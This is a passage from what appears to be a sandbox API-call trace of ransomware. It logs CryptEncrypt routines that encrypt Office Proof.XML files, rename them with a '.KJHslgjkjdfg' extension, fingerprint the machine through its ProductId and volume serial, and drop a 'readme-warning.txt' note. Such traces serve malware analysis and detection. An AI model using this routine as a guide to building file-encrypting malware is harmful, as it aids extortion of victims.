ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0170.379] GetProcessHeap () returned 0x2ef0000 [0170.379] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c4) returned 0x2f47728 [0170.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.379] GetProcessHeap () returned 0x2ef0000 [0170.379] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.379] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.379] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.379] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xd, lpOverlapped=0x0) returned 1 [0170.382] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.382] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.382] GetProcessHeap () returned 0x2ef0000 [0170.382] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.382] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.382] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.382] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.382] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.382] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.383] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.383] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.383] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.383] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.383] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.383] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.383] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x543, lpOverlapped=0x0) returned 1 [0170.383] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x550) returned 1 [0170.383] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.383] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x550, lpOverlapped=0x0) returned 1 [0170.383] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.383] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.384] SetEndOfFile (hFile=0x118) returned 1 [0170.387] GetProcessHeap () returned 0x2ef0000 [0170.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.387] GetProcessHeap () returned 0x2ef0000 [0170.387] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0170.391] CloseHandle (hObject=0x118) returned 1 [0170.391] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0170.391] GetProcessHeap () returned 0x2ef0000 [0170.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.391] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.391] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.391] GetProcessHeap () returned 0x2ef0000 [0170.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.391] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.392] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.392] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.392] GetProcessHeap () returned 0x2ef0000 [0170.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.392] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.392] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.392] GetProcessHeap () returned 0x2ef0000 [0170.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.392] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.392] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.392] GetProcessHeap () returned 0x2ef0000 [0170.392] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.392] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.392] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.393] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.393] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.393] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.393] RegCloseKey (hKey=0x118) returned 0x0 [0170.393] GetProcessHeap () returned 0x2ef0000 [0170.393] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.393] GetProcessHeap () returned 0x2ef0000 [0170.393] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.393] GetProcessHeap () returned 0x2ef0000 [0170.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.393] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.393] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.393] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.394] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.394] GetProcessHeap () returned 0x2ef0000 [0170.395] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.395] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.395] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.395] GetProcessHeap () returned 0x2ef0000 [0170.395] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.395] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt") returned 107 [0170.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.400] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.402] CloseHandle (hObject=0x118) returned 1 [0170.402] GetProcessHeap () returned 0x2ef0000 [0170.402] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.402] GetProcessHeap () returned 0x2ef0000 [0170.402] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.402] GetProcessHeap () returned 0x2ef0000 [0170.402] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.403] GetProcessHeap () returned 0x2ef0000 [0170.403] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.403] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.403] GetProcessHeap () returned 0x2ef0000 [0170.403] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.403] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0170.403] GetProcessHeap () returned 0x2ef0000 [0170.403] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc2) returned 0x2f14588 [0170.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.404] GetProcessHeap () returned 0x2ef0000 [0170.404] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.404] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0170.404] GetProcessHeap () returned 0x2ef0000 [0170.404] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c4) returned 0x2f47728 [0170.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.405] GetProcessHeap () returned 0x2ef0000 [0170.405] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.405] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.405] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.405] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xf, lpOverlapped=0x0) returned 1 [0170.408] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.408] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.408] GetProcessHeap () returned 0x2ef0000 [0170.408] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.408] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.408] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.408] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.408] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.408] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.408] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.409] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.409] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.409] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.409] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.409] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.409] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5b1, lpOverlapped=0x0) returned 1 [0170.409] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5c0) returned 1 [0170.409] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.409] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5c0, lpOverlapped=0x0) returned 1 [0170.409] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.409] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.409] SetEndOfFile (hFile=0x118) returned 1 [0170.412] GetProcessHeap () returned 0x2ef0000 [0170.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.412] GetProcessHeap () returned 0x2ef0000 [0170.412] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0170.412] CloseHandle (hObject=0x118) returned 1 [0170.419] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0170.419] GetProcessHeap () returned 0x2ef0000 [0170.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.419] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.419] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.419] GetProcessHeap () returned 0x2ef0000 [0170.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.419] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.419] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.419] GetProcessHeap () returned 0x2ef0000 [0170.419] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.419] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.419] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.419] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.420] GetProcessHeap () returned 0x2ef0000 [0170.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.420] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.420] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.420] GetProcessHeap () returned 0x2ef0000 [0170.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.420] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, 